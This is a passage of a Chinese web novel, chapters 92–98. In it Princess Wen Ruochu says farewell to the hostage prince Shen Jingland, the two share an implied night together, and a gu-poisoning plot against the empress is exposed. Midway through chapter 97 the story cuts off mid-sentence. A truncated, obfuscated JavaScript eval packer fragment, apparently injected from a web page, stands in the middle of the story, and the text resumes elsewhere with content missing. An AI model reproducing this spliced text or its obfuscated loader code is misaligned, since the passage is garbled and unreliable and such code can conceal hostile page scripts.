再后来,大虞和雍国开战,雍国战败求和,这位可怜的寒族公主,便设计让雍国皇室送沈惊澜去大虞为质,没多久受辱致死。 沈惊澜心里藏着恨,他必然是要回雍国的。 时下,雍国皇帝病重,又有水仙身份泄露,沈飞白亲自率使团来大虞赔罪,简直就是沈惊澜回雍国的最佳时机。 雍国祖制,皇帝死后,皇子加封亲王,派去外地,沈惊澜回去,多年敌国为质,算是有功勋的皇子,那些皇子等于要少分一份,又怎么愿意呢。 沈飞白一会儿一定会在宴会上,从中作梗,阻止沈惊澜解除质子身份。 温若初和王安如说着话,女皇在一堆宫女太监女官的簇拥下,一身明黄色龙袍款步走了进来,精气神明显比前阵子好多了。 众人跪地,齐声高呼,“万岁万岁万万岁!” “平身。” “谢圣人。” 如温若初预料的那样,女皇举杯庆祝两国重修旧好,解除沈惊澜质子身份之后,沈飞白举着酒杯。 “如今大虞和雍国重修旧好,实属不易,本王九弟从小深受父兄宠爱,八岁派遣大虞为质,我等甚是想念,如今看来……” 沈惊澜在雍国老皇帝十三个儿子中排行第九,沈飞白回头瞅了一眼沈惊澜,父皇都不愿意瞧见他,他倒好,眼瞅父皇不行了,还想回去分一块地当个闲散王爷?简直就是做梦! 沈飞白继续当着众人面侃侃而谈。 “……大虞把本王的这位九弟照顾得很好,为表诚心,本王提议继续让九弟留在大虞。” 众人三三两两交头接耳,不明真相,更不知道雍国宫闱秘辛,低声议论,这位雍国六皇子来大虞当天就把沈惊澜接到身边叙旧,当真是兄弟情深。 能把自己亲兄弟留在大虞,足见其对大虞信任之心,将来若是这位六皇子做雍国的皇帝,大虞和雍国百年之将无战事。 温若初是个急性子,原本她参加专门为雍国使团准备的宴席,只想安心当个树叶,过后和沈惊澜好好道别。 听这个沈飞白在这瞎逼逼,蛊惑人心,实在听不下去了。 温若初哈哈笑了两声,朗声开口道。 “雍国既然已经和大虞重修旧好,还订立了契约,六殿下执意留下质子……” 恰到好处地停顿一下,别有深意轻笑一声,“难不成是假意求和,有毁约之心不成?” 话音落,众人面色都变了,看向沈飞白的眼神都多了几分敌意。 温若初继续说道:“再者,沈世子既然如此得雍国皇室宠爱,为何近几年时常挑衅我大虞边境,乃至派细作把手伸到安王殿下身上?就不顾念骨肉亲情,兄弟情谊了……” 沈惊澜坐在角落里,抬头看着温若初,眸色幽深,在这一瞬间,他仿佛看到了另一个自己,那个不甘命运摆弄、敢于挺身而出的自己。 沈飞白脸色青一阵白一阵,刀子一眼的眼神看着温若初,眼瞅形势不利,怕是会坏事,回去没法交代,赶紧打断。 “若初郡主!” 沈飞白强压下心头怒火,脸上挤出一丝僵硬的笑容,“本王一心为两国和平,才提议让九弟留于大虞,增进两国情谊,郡主恶意揣测本王,实在令本王寒心。” 温若初起身对沈飞白福了福身,“小女子才疏学浅口无遮拦,六殿下莫见怪,若初给您赔不是,只是君子论迹不论心,若真心求和,又怎么能把两国和平寄托在一个质子身上呢,您说是吧?” 如此算是给足了沈飞白颜面,沈飞白笑意不大眼底。 “郡主说的是,既如此,本王可要把九弟带回去了。” 女皇举杯,“如此甚好,这杯酒祝大虞和雍国共享和平。” 一杯开场酒下肚,宴席正式开始。 沈飞白回头瞅了一眼沈惊澜,又抬头瞅了一眼温若初,眼底凶光闪现。 他来之前派人打听过,沈惊澜是温若初养在府里的面首,沈惊澜和他那个死娘一样,是个头脑简单又性子软弱的痴情种。 温若初若是出点什么事,沈惊澜必会主动留下,那……可就不关国事了。 第93章 明日不必送我, 大虞和雍国订立互不侵犯之约,雍国赔偿大虞三座城池,大虞释放质子沈惊澜,雍国使团明日起程折返。 算是一个双赢局面。 宴席结束,众人纷纷离座,用过使团的人和大虞官员混在一起,三五成群客气说笑着往外走。 近些日子温若初一直都在忙着帮沈惊澜回雍国,虽说早已做好了心理准备,但亲耳听到沈惊澜要走了,还是有些空落落的。 待人走得差不多,温若初瞧见沈惊澜离座,起身跟上。 “沈世子,可否借一步说话。” 沈惊澜顿住脚步,回头看向她,女子娇俏灵动的眸子里掩饰不住的期翼和不舍,好像藏着诉不完的情意。 像是被这目光蜇到了似的,只一瞬便错开目光,恭顺地退到一边。 “谨之多谢郡主照拂,明日折返雍国,尚有庶务需处理,请郡主见谅。” 语气礼貌又疏离,像个陌生人,明明前些日子还和她花前月下,情意绵绵。 温若初愣在原地,笑意僵在脸上,感觉有人拿了一把生锈的刀子割在她身上,千言万语哽在喉咙里。 这么快就不认识了。 好啊! 她也是能拿得起放得下的人。 深吸一口气,很快调整好情绪,压下心里不悦,扯了扯嘴角。 “这样啊,那就在这说吧,府里还有你几件衣裳,一会派人给你送到驿馆。” “不必麻烦了,郡主随意处置即可。” 脸上的笑意难以维持,温若初的声音染上几分怒意。“那我就直接扔了!” 提起这个就生气,沈惊澜走之前什么都没收拾,只带走了两只兔子。 没好气地说完,挺了挺脊背,抬脚就往外走,头上流苏前后张牙舞爪地摇曳,经过沈惊澜的时候,还狠狠地踩了他一脚。 沈惊澜低着头,面不改色,没有躲,眼睁睁看着温若初离开。 正在和安王等人交谈的沈飞白全程目睹了这一幕,眉头疑惑地皱起。 雍国皇室不喜沈惊澜,为了两国邦交,沈飞白也为了能得到大虞皇帝的支持,极尽展示兄友弟恭,以及自己的雄才伟略。 凌妙站在安王身边,也瞧见了,尤其是温若初踩沈惊澜的那一脚,阴阳怪气道。 “郡主能做到她这样嚣张跋扈的也是头一份,当着你们使团的面就敢欺辱你们的皇子,背地里沈世子也不知道受了多少委屈?” 沈飞白了然,原来是这样,也罢,回雍国山高路远,病死,冻死,被人杀死,有的是机会,回头小声吩咐范天恩。 “方才吩咐你的事,不用做了。” 范天恩点头道:“是。” 温若初表现得不在意,两个人这么长时间相处以来,沈惊澜早就琢磨透了温若初的脾气,知道温若初盛装打扮被他泼了冷水,一定很伤心,不出意外,心里骂了他好几遍。 等回到驿馆,范天恩偷偷告诉他,沈飞白吩咐范天恩欲对温若初动手,是那个凌妙歪打正着,让沈飞白放弃利用温若初对付他,沈惊澜暗暗松了一口气。 沈飞白心思狡诈,手段狠毒。温若初是局外人,怎能因他让她置身险境? 温若初这个时辰应该还在宫里。 沈惊澜沉吟半晌,绕到书案前,拿起狼毫笔,在纸上写下“明日不必送我,我会回来”几个字,折成纸条,塞进小拇指粗细的竹筒中,递给范天恩。 “这个,务必放到温若初马车里。” 范天恩双手接过,“是。” 宴会结束之后,温若初去见了女皇,说了一会儿体己话,女皇面色红润,精神头也好多了,上官也在,不方便说话。 离开女皇寝宫的时候,特意问了胡庸,胡庸说女皇身体已有好转,正尝试着把女皇体内蛊虫逼出来。 温若初稍稍放心,让胡庸继续好好照料女皇,然后离开。 等她走到宫门口准备上马车的时候,身后一道陌生的声音叫住了她。 “若初郡主。”声音清冷沉稳。 抬眼看去,不远站着一名女子,女子身形修长而矫健,一袭青色劲装紧紧贴合腰身,腰间配剑,飒爽地朝她走来。 方才席间温若初见过此人,正是坐在沈飞白身边的范飞叶,和范天恩是兄妹,同样暗中听命沈惊澜。 范飞叶似乎不愿意做自我介绍,走到温若初面前,直言道。 “九皇子回雍国之后就和大虞没关系了,”摊开手掌,一枚拇指粗细的竹筒递给温若初,“他给你的。” 未央宫门口温若初欺负沈惊澜那一幕。 范飞叶也看见了,传闻若初郡主创办女学,是天下女子楷模,如此仗势欺人行经,她看倒是未必。 温若初能感觉到范飞叶的敌意,听懂了范飞叶的言外之意,沈惊澜回雍国之后,就和他没关系了。 她和沈惊澜有没有关系,可不是这个范飞叶说了算。 面对范飞叶的敌意,温若初不以为然,讨厌她的人多了去了,她算老几。 范飞叶不主动招惹她,她才懒得搭理她。 看见竹筒还挺高兴的,至少证明沈惊澜也不是那么没良心,只是……寻常沈惊澜给她传递消息,直接扔马车里,连人都看不见,今天居然派范飞叶来? 温若初狐疑地瞅了一眼范飞叶,抬手拿起竹筒。 “没你事了,下去吧。” 范飞叶:“……” 似乎没料到她一个雍国第一女将军,被一个大虞小小郡主呼来喝去,范飞叶脸色难看,握着剑柄的手,紧了又紧。 温若初登上马车,回头见范飞叶还杵在那,眨着眼睛,体贴道。 “范将军不必相送,我有贴身护卫。”说罢撂下帘子。 范飞叶:“……” 她瞪大眼睛看着温若初的马车,脸色更难看了。 冯文讥笑地瞅了一眼范飞叶,驾着马车离开。 温若初坐在马车里,打开竹筒,取出里面纸条,纸条上写着一句话,字迹苍劲有力,是沈惊澜的笔迹。 纸条上写着:“明日不必送我,” 第94章 质子归国 纸条像是从一张大纸上裁剪下来的,温若初一脑袋问号,前言不搭后语的一句,前看后看,左看右看,翻过来调过去的看,对着光看,也没瞅见别的字。 “自作多情,老娘还懒得送呢,天寒地冻的,在家睡大觉不香吗?” 忽然感觉鼻子酸涩得厉害,吸了吸鼻尖,回苍兰苑就让月儿给她做麻辣兔头,当着他兔儿子的面吃兔头。 突然想起来沈惊澜的两个兔儿子被沈惊澜带走了。 正好,沈惊澜不在,她爱怎么吃就怎么吃,爱怎么喝酒怎么喝,一会就去秦楼找伶倌去。 想得挺潇洒,月儿做好麻辣兔头端上来的时候,温若初瞅了一眼,一点胃口都没有,摆了摆手。 “你们吃吧,我累了。” 月儿和秋菊互看一眼,都瞧出了温若初有心事,未经人事,不理解温若初和沈惊澜之间的情感。 算起来沈惊澜在苍兰苑住了好几个月,大家平常处得像一家人,突然就这么走了,他们心里也挺舍不得的,也不至于吃不下饭啊。 “那奴婢做点清淡的?” 温若初直接当床上,拽过被子盖在身上。 “不用,你们歇着去吧。” 隔天,向来懒床的她,莫名起了一个大早,天还未亮,不受自己控制地早早等在雍国使团出城的必经之地。 温若初坐在茶楼二楼靠近窗户的位置,窗户打开一条缝,眼瞅浩浩荡荡队伍从街口出来,眼睛不受控制地寻找那个月白色身影。 使团途径茶楼,队伍最前方是身穿雍国铠甲的骑兵,范家兄妹就在此列,中间一前一后两辆马车,再往后是侍从和护卫。 不用猜,沈惊澜就在后面的那辆马车里,马车临到楼下,温若初收了收木窗,只留下一条小缝,从外面看,瞧不出来木窗是开着的。 马车的车帘忽然打开,沈惊澜像是察觉到什么似的,下意识地朝二楼窗棱看了一眼。 冬日天亮得晚些,此时天刚蒙蒙亮,二楼燃着烛火,在窗棱上映出一道模糊娇俏身影。 不过是几息的功夫,车轮压在路上,缓缓经过这间在上京城里寻常得不能再寻常的茶楼。 说好的告别就这么结束了。 温若初长长松了一口气,终于走了,不会回来了吧? 送走沈惊澜后,没直接回苍兰苑,转道去了禁军营,凌玄礼身穿常装,骑着马,像是刚从哪里回来。 问过才知,凌玄礼也送沈惊澜去了。 凌玄礼这个人秉性过于正直,身为皇室宗亲,先帝子孙,在官场上却没什么朋友,沈惊澜算是凌玄礼为数不多的年龄相仿的朋友。 凌玄礼神色也是恹恹的,兴致不是很高的样子。 温若初就知道今天在凌玄礼身上一定能找到共频点。 两人撑着下巴,围着火盆,排排坐。 也不说话,就这么干坐了好长时间,火盆里的煤球表面结了一层白灰,凌玄礼缓缓开口。 “平常十天半个月都说不上一句话,突然就这么走了,还有点不习惯。” 温若初侧目看着凌玄礼,这位可是正的发邪的钢铁直男,居然也能说出这么软声软语的话,凌玄礼应该是真把沈惊澜当成朋友的。 凌玄礼意识到失态,自嘲地笑了笑。 “见笑了。” “戒断反应,很正常。” 凌玄礼没听懂,“什么?” “没什么。”温若初突然想起昨天范飞叶给她的那张莫名其妙字条,“对了,沈惊澜走之前有和你说过什么没有?” 从袖口里掏出纸条递给凌玄礼,“有给你这个吗?” 凌玄礼接过纸条,低头上下翻看,一脸不解,纸条上前言不搭后语,“明日不必送我”,近乎绝情的一句话。 昨天他去驿站找沈惊澜的时候,沈惊澜还特意说了走的时辰和路线,他才在那边等着,方才还和沈惊澜一同喝了一杯践行酒,回来就看见温若初来大理寺了。 凌玄礼心底疑惑,谨之不是还说要正大光明地娶温若初? 突然有机会回国了,不至于连送都不让送,他了解的沈惊澜不是绝情的人,就这么放下了? 凌玄礼看向温若初的目光中多了几分同情。 女子娇俏的容颜稍显疲惫,好像没休息好,一双水润灵动的眸子眨了一下,似是在期待着什么。 难得的心软下来,凌玄礼避开温若初视线,扯了一句谎话。 “谨之也没让我送,大概……是有他自己的考虑吧。” 秉性纯直的人不善说谎,温若初一眼看穿,这两人穿一条裤子的,平常就经常在背后曲曲她,原本还想在凌玄礼这里找点心里平衡,这下好了,更不平衡了。 心里莫名不是滋味,罢了,反正人都走了。 女皇身体好转,她可以继续当逍遥自在横着走的若初郡主,再不济她还有那块免死金牌。 想到此,心情豁然舒畅开来。 温若初拍了拍衣摆,站起身。 “你们这的厨子会做麻辣兔头吗?” 凌玄礼:“……” 前一瞬还阴云密布,这会就晴空万里了,温若初的情绪转变得居然如此之快,着实出乎他意料,不似寻常女子那般细腻心思。 不能做麻辣兔头也得想办法做麻辣兔头,凌玄礼不觉轻笑一声。 “能做,我再命人取两坛好酒过来。” 半个时辰后,中军大帐方桌上摆了四道小菜,也不知凌玄礼弄的什么酒,有些辛辣,不大对温若初胃口,却也没要求换。 话题不知怎么扯到了沈飞白身上,凌玄礼道,“沈飞白那人太过浮夸,对谨之到是可以。” 温若初端着酒碗,愣了愣,一下子反应过来,沈惊澜没把自己的事告诉凌玄礼。 雍国皇室但凡有一个好东西,沈惊澜都不至于来大虞为质,凌玄礼必然不知内情,才会有此言论,凌玄礼对沈惊澜也不是很了解。 这朋友关系也就那么回事。 沈惊澜是回雍国报仇,但这话没法和凌玄礼说。 不知道过几年传来沈惊澜一统雍国,登上皇位的消息,凌玄礼会不会怀疑自己。 温若初笑而不语,端着酒碗碰了一下凌玄礼的酒碗。 “是不错,你们这的厨子手艺不错,麻辣兔头做得真地道……” 烈酒不同于果酒,几乎是喝上两口就上头,越喝越迷糊,温若初两碗酒下肚,大脑晕晕乎乎。 撑着半天实在撑不住,枕着胳膊趴到桌子上,对凌玄礼摆摆手。 “你先喝着,我眯一会儿。” 也不知过了多长时间,迷迷糊糊感觉身体悬空,好像被人抱了起来,费力地撩起眼皮,眼前是一张近乎完美的侧脸。 瞬间酒醒大半,“沈惊澜……” 第95章 沈惊澜:等我回来 沈惊澜垂眸,目光与温若初瞬间交汇,那双眼眸仿若幽邃深潭,平静无波却又似藏着千言万语,好像还多了几分无奈和心疼。 他并未言语,只是手臂微微用力,将温若初抱得更紧,加快了脚步,朝凌玄礼让嬷嬷给温若初准备出来的房间走去。 温若初头脑还有些不清醒,以为自己看错了,又惊又喜,闭了闭眼睛,又睁开,酒精作用下,眼神有些迷离,再次确定这人就是沈惊澜。 好不容易压下去的委屈瞬间翻涌起来,温若初伸胳膊蹬腿挣扎着就要从沈惊澜身上下去。 “放开我,都走了,还回来干嘛?”连送都不让送,哪有这样的,就算是分手,也得好聚好散吧。 沈惊澜充耳不闻,紧紧抱着温若初,脚步沉稳,走到房间门口,一个用力翻转,把温若初扛在肩头,推开房门,迈步进屋,回头关门。 温若初大头朝下挂在沈惊澜肩膀上,眼泪没出息地溢满了眼眶,不知道锤了多少下沈惊澜,整个人被摔进柔软的床铺里。 沈惊澜手臂撑在她耳侧,抬手怜惜地拂她眼底泪花。 温若初躺在床上,两只手抓住沈惊澜伸过来的手,恶狠狠地咬在手腕上,牙齿用力,舌尖尝到一股血腥味。 沈惊澜拧了拧眉,没急着收回手,感觉咬在手腕上的力道松了,开口道。 “咬痛快了?” 温若初松开沈惊澜手臂,整齐的两排牙印上渗着血珠,偏过头,不看沈惊澜。 “你不是走了?回来干嘛?” 沈惊澜俯身盯着温若初,发丝凌乱铺散在枕头上,双颊泛着潮红,两片微微张开的唇瓣艳红,上面还残留着他的血,大概真的是气急了,胸口上下起伏着。 缓缓开口道,“想你。” 温若初微微一怔,从这简单的两个字中,竟听出些许鼻音,看向沈惊澜,新奇地发现沈惊澜眼底是红的。 温若初:“……” 不至于吧,不就咬了一口,那么大的人,至于哭? 底气不足地道歉,“是你先对我摆臭脸的,我憋了一肚子气,我……我……唔!” 话没说完,嘴巴被一个强势的吻堵得严严实实,沈惊澜的吻炽热而急切,似要将心底积攒的情感一股脑宣泄出来。 他的唇重重压上温若初的唇,强势撬开她的贝齿,攻城略地,与她的舌纠缠在一起。 温若初瞪大双眼,眸中满是惊惶,双手下意识抵在沈惊澜胸口,可他的胸膛滚烫,心跳如雷,这热度与节奏似有传染性,让她的心跳也瞬间乱了节拍。 她本想挣扎,可沈惊澜的双臂如铁箍般紧紧环住她,将她牢牢禁锢在怀中,让她动弹不得。 他的吻愈发深入,带着不容拒绝的霸道,温若初只觉呼吸都被掠夺,大脑渐渐空白,只能本能地回应着。 不知过了多久,沈惊澜才缓缓松开温若初,两人额头相抵,急促的呼吸交织在一起。 沈惊澜沿着脸颊一路吻到耳侧,低声呢喃,似是质问,“让你等我,你怎么跑来和守正喝酒?嗯?” 两人生活在一起那么长时间,温若初想做什么,他又怎会不知。 怕温若初多想,特意让范天恩传消息给温若初,今晚会回来看他,回博阳侯府找一圈没见到人,辗转找到凌玄礼这里。 温若初嗅到好浓的醋味,沈惊澜这恶人先告状的本事比她还厉害。 “什么时候让我等你了?你只说不让我送。” 沈惊澜眸色顿了一下,看着温若初一脸不满委屈地和他控诉,很快反应过来传递消息的中间可能出了岔子,面色一下子就软了。 “我的错,以后不会再发生这种事,你要等我,用不了多久。” 顿了顿补充道,“别忘了。” 沙哑的声音中带着几分祈求的意味,虔诚地舔舐着他留下印记的地方,知道温若初酒醉之后什么德行,没执着地要回应。 是她主动招惹他的,她若是不等他,他不介意用自己的方式,永远把她留在身边。 温若初听不懂沈惊澜的话,头脑晕晕乎乎,被沈惊澜撩拨得体内升起热意。 无意识地抬手勾住沈惊澜的脖子,主动迎合。 烛光微动,在墙上映出交叠在一起的两道影子,不时传出暧昧声响…… 隔天温若初睡醒的时候,身边床铺空空,穿好衣裳,简单梳洗推门出门,屋外稀疏的草木上挂着一层厚雪,士兵操练的声音震天响地传到这边。 不见沈惊澜身影,凌玄礼一身铠甲走了过来。 “睡醒了,早饭给你准备好了,早些用吧。” “多谢。” 隔壁房间准备了清粥小菜,边上放着一碗芙蓉汤,温若初酒后隔天习惯喝一碗芙蓉汤暖胃又养精神。 坐到圆凳里,端起芙蓉汤抿了一口。 “沈惊澜什么时候走的?” 凌玄礼顿了顿,昨晚沈惊澜的确是来过,走之前托他照顾温若初,还特意嘱咐不让他告诉她。 “呃……谨之不是昨天刚走?” 温若初:“……”她锁骨上的牙印是狗咬的? 温若初放下汤碗,简单吃了点粥和包子,盯着凌玄礼的眼睛。 “凌大人,你真的很不善于撒谎。” 说完用帕子擦了擦嘴,站起身。 “多谢凌大人款待,被褥我带走了,一会给你送一床新的过来。” 温若初的确是有喝酒忘事的毛病,可她又不傻,在外面喝酒,绝对不会喝到烂醉如泥,不省人事的程度。 况且昨晚凌玄礼的酒只是浓烈了一些,没什么后劲,沈惊澜回来的时候,她差不多都醒酒了。 沈惊澜昨晚和她说过什么,她可是记得一清二楚。 沈惊澜让她等他,她只是想知道这个期限是多久。 雍国老皇帝还没咽气呢,按书中大致时间推算,沈惊澜大概三年之后统一雍国各部,登基称帝。 如今剧情发生变化,也不知道会提前还是延后。 温若初以为至少要等上一年半载,没想到这一天随着一件意外事件的突发,很快就来了。 第96章 蛊毒 温若初回博阳侯府的时候,门房的人说温乐生来了。 温承德死后,二婶娘曾扬言去大理寺告发她侵占温家家产,后来也没了动静。温若初介绍温乐生入了军营,就在凌玄礼手下。 知道凌玄礼那人秉性正直,温若初只是和凌玄礼打了一声招呼,温乐生从大头兵干起,还以为又要和之前以前,温乐生受不住苦,两天半哭爹喊娘嫌弃累。 算起来有一阵子没见了,没想到温乐生还真挺住了。 温若初到前厅的时候,前厅里坐着一个身形干练的男子,男子侧面对着门口,身穿青衣布衫,皮肤晒成小麦色,头发高高束于脑后。 印象中的温乐生一身肥膘,眼前这人体型比温乐生足足瘦了一半。 温若初站在门口,要不是知道这人是温乐生,她定会问一句,你谁啊? 她出声叫温乐生。 “哥?” 温乐起身看她,呲着一口小白牙,“妹子你回来了,今休沐,我凿冰钓了两条江鱼,他们说冷水鱼味美,给你带来尝尝。” 温若初围着温乐生转了两圈。 “我滴个乖乖,怎么减得肥,瘦这么多?” 温乐生不好意思地挠了挠头,“就每天训练,也没干啥啊。” 温若初审视地盯着温乐生,“没赌吧?” “凌大人军纪严明,我哪敢啊,再说了,我已经发誓不沾那个了。”温乐生瞪着一双小眼睛,定定地说道。 “这还差不多,”温若初点点头,“没事多回来看看,二叔二婶娘回老家了?” 温乐生面色垮了下来,“他们不爱回去,你不用惦记,他们住雀儿街巷的院子呢,有地住。” 雀儿街巷的院子是温清柔住处,是一个小院,温清柔那矫情的大小姐做派能愿意和他们一起挤? 不等温若初问,温乐生气愤地答道。 “二妹妹搬安王府去了。”叹了一口气,不满地念叨,“你说二妹妹一个寡妇,住人家干嘛去了?” 这阵子忙着沈惊澜,没留意温清柔,一个没留神发生这么多事。 温若初嗤笑一声,还能干什么?和凌妙两个人同病相怜,一起谋划将来呢呗,让她吃瘪,或者干脆弄死她,肯定也在她们的计划之内。 留温乐生在家里吃了一顿饭,下午温乐生走后,宫里人来传话,说胡庸有事找她。 前几日胡庸说调理女皇身子的时候,在女皇体内发现了异样,像是蛊虫。温若初让胡庸设法把蛊虫弄出来。 胡庸让她过去,八成那边又出了纰漏。 胡庸在太医院有自己的房间,温若初让人守在外面,任何人不得靠近,门板合拢。 温若初面色严肃问道。 “怎么了?” 胡庸错身让开位置,身后桌案摆着一张油皮纸,一小堆黑黢黢的,像是不知名虫子的尸体。 “我已经找到逼蛊虫出来的办法,只是……我才疏学浅,没有十足把握,一着不慎恐累及郡主……” 到底是大夫,什么症状,前因后果,用什么药,如何用药,说了一炷香,说得明明白白。 温若初理解了一个大概,差不多就是女皇中了蛊毒,短期内不至于要了人性命,只会精神逐渐萎靡,半死不活依恋于下蛊之人。 胡庸只是调配了一个方子,驱使蛊虫离开,却没有十足胜算,若是失败,蛊虫可能蚕食内脏,用不了多久就会要了女皇的命。 若是成功了,女皇身子会逐渐好转,如获新生。 还有一种选择,放任不管,胡庸用药调理,维持住女皇的身子,只是治标不治本。 胡庸拿不住主意。 皇帝的安危事关国本,温若初也有点胆怵,其实最稳妥的办法是让下蛊之人,自愿把蛊虫引出来。 只是如此一来,上官就等于承认自己罪行,抄家砍头都是轻的。 他有胆量下蛊,又怎会轻易承认? 温若初撑着下巴,沉吟半晌,“你有几成把握?” “七成。”胡庸道。 六成以上就值得试一试,可圣人不只是她的外祖姑母,更是大虞皇帝,兹事体大,她做不了主。 派人把王丞相请了过来。 王丞相听后,一脸震惊,特意亲自查看近半个月太医院留存的圣人脉案,又叫来几个太医审问,才将信将疑胡庸所说。 温若初一直没怎么说话,见王丞相沉默了好久。 “舅舅,拿主意吧?外祖姑母的病拖不得!” 王丞相面色沉重,缓缓道,“让凌玄礼的人守住宫门,此事决不能泄露半个字出去,去准备药吧。” “是。” “等等……”王丞相叫住温若初,“你先这样……” 王丞相去找其他忠于女皇的朝臣和宗亲,凌玄礼的禁军也都换上了自己人。 温若初演好自己的角色,领着胡庸前去女皇寝宫。 女皇侧卧在贵妃榻里,上官跪在女皇面前读奏折。 温若初行礼之后,一屁股坐到女皇身边,搂着女皇撒了一会儿娇,回头睨了一眼上官。 “我有悄悄话要和外祖姑母说,劳烦上官大人回避。” 上官低着头,不情愿地抿了抿唇,抬眼却是一张如沐春风的笑脸,询问的眼神看向女皇。 女皇朝上官摆了摆手,慈爱地拍了拍温若初的手。 “人走了,说吧。” 温若初抱着胳膊,一撅嘴巴。 “我不喜欢那个上官,看着就阴森森的,不像是好人,外祖姑母能不能把他撵走?” 女皇脸色沉下来,坐起身。 “又在耍小性子,人家上官怎么着你了,你这么说人家?” 王丞相让她先试探一下,女皇的态度让她心里拔凉,看来让上官主动引出蛊虫的法子,是不行了。 女皇狐疑的视线落在她身上,还在等着她回答。 温若初随口编理由,“有上官在,外祖姑母都不宠爱我了。” 女皇嗔怒地横了她一眼。 “多大了?什么飞醋都吃。” 女皇没真生气,温若初在这,却也没召上官来伺候。 温若初打走进寝宫门,虽说有王丞相等人在背后托底,可她还是隐隐有些不安,传消息的小宫女对她微微点了点头,示意胡庸在外面准备好了。 她深吸一口气,暗道对不住了,女皇受人蛊惑不自知。 女皇是这个世上,和她唯一有血缘关系的亲人,她就算是为了这份亲情,也得顶住这份压力。 嘴角扯起一丝笑意,“侄孙女新得了两只黑海参,辅以药材熏煮熬制了一盅汤,我去端来给外祖姑母补补身子。” 第97章 狗咬狗一嘴** 温若初把汤药端到女皇面前,女皇拧着眉头往后躲,略显浑浊的眼睛,嫌弃地看着那碗黑漆漆的汤药。 “什么啊?” 汤药泛着一股恶臭,胡庸还特意让人滤去了药渣。 温若初故意做出一副不高兴的样子,撅着嘴巴。 “我好不容易弄来的黑海参,想着拿来给外祖姑母补身子,没想到外祖姑母如此嫌弃。”说着眼睛里憋出两滴眼泪出来。 “外祖姑母不要我这份孝心,小初以后少来圣人面前讨嫌就是了。” 女皇瞧着她这幅拈酸吃醋的样子,到底是自己养大的,心软了,妥协地叹了一口气,伸出手指戳了一下温若初的脑袋。 “你啊,朕只是瞧着不对劲,闻着就有点反胃。” 反胃就对了。 温若初解释,“熏煮的时候,加了些别的补药,数九寒冬,正是补气血的好时候,小初还等着圣人长命百岁呢。” 端来一盘蜜饯,“喝完了吃一颗,不会太苦的。” “朕还等着你生儿育女呢。” 女皇瞅了温若初好几眼,拗不过温若初,端起药碗,仰头一口灌下。 染着丹寇的手指拿起蜜饯,蜜饯还没等进嘴,胃内一阵翻涌。 “呕~” 呕出一大滩黑糊糊的东西,细看之下,黑血里隐有东西一拱一拱地蠕动,没一会冒出一个长着黑色触角的软体蛊虫。 女皇脸色煞白,捂着胸口,苍老的眸子此时满是冰冷的戾气,抬眼看向温热若初,厉声质问。 “你……你给朕吃了什么?” 温若初赶紧双膝跪地,声音急切且带着不容置疑的笃定。 “圣人,有人给您下了蛊毒,刚才您喝的汤药正是解蛊毒的药,臣女诓骗您,实属不该,求圣人责罚。” 女皇眉头紧蹙,呼吸急促,强忍着身体的不适与心头的怒火,冷冷道。 “你说有人蓄意加害,可有证据?今日之事,关乎朕的性命,若是查无实据,你休怪朕不念及亲情!” 温若初叩首在地,额头触碰到冰冷的地砖。 “小初不敢欺瞒圣人,胡庸以及太医院的几位太医都可作证。” 宫人进来传话,“圣人,王丞相说有急事求见,事关蛊毒。” “传。” 王丞相领着十几个朝臣和宗亲,还有太医院的几位太医,呼呼啦啦跪了一地。 女皇扫视一眼跪地众人,都是她的亲信之臣,面上怒意不减。 “怎么回事?” 王丞相率先道:“圣人,若初郡主所言句句属实,是若初郡主胆大心细,发现端倪,不辞劳苦奔波,护圣人身体安康,臣已查明是上官胆大包天在圣人体内下了蛊毒,意图操控圣人。” 太医把脉案以及有关蛊毒记载的古籍呈递给女皇。 女皇翻看数十页,面色越来越难看,差不多半炷香之后,啪一声合上手中古籍。 “凌玄礼呢?” 凌玄礼一身铠甲走进来,单膝跪地。 “臣在!” “把上官带过来!朕要亲自审问。” “是。” “慢着,”女皇叫住凌玄礼,“把凌肃那个逆子也带到朕面前来,朕倒是要看看他想干什么?” “是!” 殿内气氛紧张得能拧出水来,空气都好像凝固了一般,众人跪在地上大气不敢喘。 女皇嘴角还挂着乌黑的血迹,胸口剧烈起伏着。 “都起来吧。” “谢圣人。”众人这才呼呼啦啦起身。 不多时,安王凌肃被禁军押了上来。 安王还不知道发生了什么事,双手被反绑至身后,进来的时候嘴里还骂骂咧咧威胁禁军。 “放开本王,你们吃了熊心豹子胆,想**吗?!” 凌玄礼拱手道:“启禀圣人,安王凌肃已带到。” 顿了顿,面上露出难色。 “臣命人找了上官住处,没找到上官。” 女皇坐在椅子里,目光如刀。 “没找到?一个活人还能飞了不成?没找到就继续去找,加派人手,活要见人死要见尸,若遇反抗,就地格杀!” “是!” 安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“臣女和上官只是认识,并无其他,我们偶尔一起品茶作诗,后来凌小姐也一起,一次上官提及不仅会推拿按摩还擅长巫蛊之术,再后来,臣女就没见过上官了。” 第98章 郡主府和男宠 温清柔言外之意,她认识上官,但后来的事和她没关系,安王知道上官会巫蛊之术,还把上官送到女皇面前。 安王气急,起身一脚踹在温清柔身上。 “你这个**,到底是受何人指使?居然敢污蔑本王!” 分明是温清柔带着上官求到他身上,又瞧着上官脑子灵光,有几分本事,想着用上官讨得圣人欢心。 哪里知道上官会巫蛊之术,还胆大妄为用在了圣人身上。 凌肃现在才想明白,看不出来温清柔这个女人心思狠辣深沉,惯会扮无辜,他可是大虞亲王,居然被这样一个女人摆了一道。 突然想起来,前阵子“温清柔和凌玄澈什么湿身相守情定三生”乱七八糟的谣言。 眼睛瞪大,后知后觉突然明白了什么。 “是凌玄澈!是凌玄澈派你来对付本王的,是不是?” 温清柔嘴角在旁人难以注意到的地方微微勾起,面上仍做出一副很害怕的样子。 “臣女和凌玄澈是清白的,臣女无辜。” “母皇,儿臣才是无辜的,这个女人满口谎话,母皇您可千万要相信儿臣啊。” 女皇听了半天,心下已有了判断。 “来人啊,把这个女人押入大牢,等找到那个上官一并发落!” 温清柔瞳孔骤缩,一脸震惊地抬头看向女皇,自认天衣无缝,不知哪里出了纰漏,头摇得拨浪鼓似的。 鼻涕一把脸泪一把地哭喊,“不……不……臣女冤枉,臣女冤枉……圣人,臣女冤枉……” 两名禁军抓着温清柔的胳膊就把人往外拖,丝毫没有怜香惜玉之意。 